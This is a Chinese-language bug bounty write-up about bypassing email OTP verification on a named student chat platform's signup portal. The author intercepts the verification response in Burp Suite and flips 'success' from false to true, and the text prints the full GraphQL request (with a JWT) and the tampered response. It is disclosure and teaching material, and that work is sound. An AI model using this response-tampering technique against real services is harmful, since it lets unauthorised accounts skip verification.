算法推荐盯着 OTP 绕过名人堂 等关键词疯狂推流！！！

对每个漏洞猎人而言，凭借漏洞发现跻身厂商名人堂，无疑是职业生涯中极具成就感的时刻。我从未想过，一次对学生聊天注册门户的常规测试，会因一个简单却影响重大的 OTP 响应绕过漏洞，让我收获这份荣誉。最初只是出于渗透测试的本能好奇，最终却成了获得认可的关键契机。

一、测试开端：常规注册流程下的 “本能怀疑”

我当时测试的是一个学生聊天平台的注册门户，流程和多数平台并无二致：填写信息注册账号，系统会向注册邮箱发送一次性密码（OTP），输入正确 OTP 即可完成账户验证。

表面看这套流程足够安全，但多年渗透测试的直觉告诉我：“别只看表面，拦截请求和响应看看，或许能发现不一样的东西。” 正是这个念头，让我决定深入挖掘。

二、关键作：四步拆解 OTP 绕过过程

用虚拟邮箱注册：先通过临时虚拟邮箱完成平台注册，确保能正常触发 OTP 发送流程;
故意输入错误 OTP：收到系统发送的 OTP 后，我并未输入正确代码，反而随意填写了 “111111” 这类无效数字;
Burp Suite 拦截响应：在点击 “验证” 按钮的瞬间，用 Burp Suite 成功拦截到服务器返回的响应包。此时响应中明确标注 “success”： false“，提示 OTP 无效;
篡改响应并转发：我在 Burp Suite 中将响应里的 “success”： false“ 改为 ”success“： true”，随后点击转发。

请求：

POST /graphql?opname=Verify HTTP/2 Host: gateway.unibuddy.co User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://unibuddy.co/ Content-Type: application/json Apollographql-Client-Name: widget-ui Apollographql-Client-Version: v3.0.3323 Authorization: JWT eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2OTE1NjU3NDgsImlhdCI6MTY4ODk3Mzc0OCwibmJmIjox Njg4OTczNzQ4LCJpZGVudGl0eSI6eyJ1c2VyX2lkIjoiNjRhYmIxYjNmZGFiYmQxMGJiOGM1MjYwIiwiYWNjb3VudF 9yb2xlIjoiYXBwbGljYW50IiwidW5pdmVyc2l0eV9pZCI6bnVsbCwibWFya2V0cGxhY2VfaWQiOm51bGx9fQ.JSrT8 _VMz--FpWL94pN-SDEDuLoncOR7KAjxYG_N390 X-Request-Id: b68f8f63-6c0c-4b0e-b231-8d922c582f34 Content-Length: 182 Origin: https://unibuddy.co Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Te: trailers {"operationName":"Verify","variables":{"code":"111111"},"query":"mutation Verify($code: String!) {n  verifyAccount(code: $code) {n    successn    errorn    __typenamen  }n}n"}

纵的响应：

HTTP/2 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 115 Date: Mon, 10 Jul 2023 07:28:07 GMT X-Powered-By: Express X-Ratelimit-Limit: 100 X-Ratelimit-Remaining: 99 X-Ratelimit-Reset: 1688974098 Ratelimit-Limit: 100 Ratelimit-Remaining: 99 Ratelimit-Reset: 10 Access-Control-Allow-Origin: https://unibuddy.co Vary: Origin Access-Control-Allow-Credentials: trueCache-Control: no-store Etag: W/"73-U97y4DjKcscGiJZ9j+1G3eWHUAU"X-Cache: Miss from cloudfront Via: 1.1 0cd88f29d8c6e29a267867c45efda9a8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: SIN52-C2 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: hZUAIsMgtO-nOdW-mMKrK8qiqM3WzCypFgTOTdjp_ttmAM9qXpyLtg== X-Xss-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 {"data":{"verifyAccount":{"success":true,"error":"Code is invalid for that email","__typename":"VerifyAccount"}}}

没想到，页面直接跳转到了账户设置页面 —— 系统竟将无效 OTP 判定为验证通过，绕过成功。

三、漏洞根源：服务器过度信任客户端响应

这个漏洞能成功利用，核心问题在于平台对客户端响应的 “过度信任”。

尽管修改后的响应中仍保留 “Code is invalid for that email” 的错误提示，但系统只认 “success” 字段的布尔值。只要这个字段被改为 “true”，即便 OTP 实际无效，服务器也会默认验证通过。本质上，平台并未在服务器端对 OTP 有效性进行二次校验，关键验证逻辑完全依赖客户端反馈，给了攻击者可乘之机。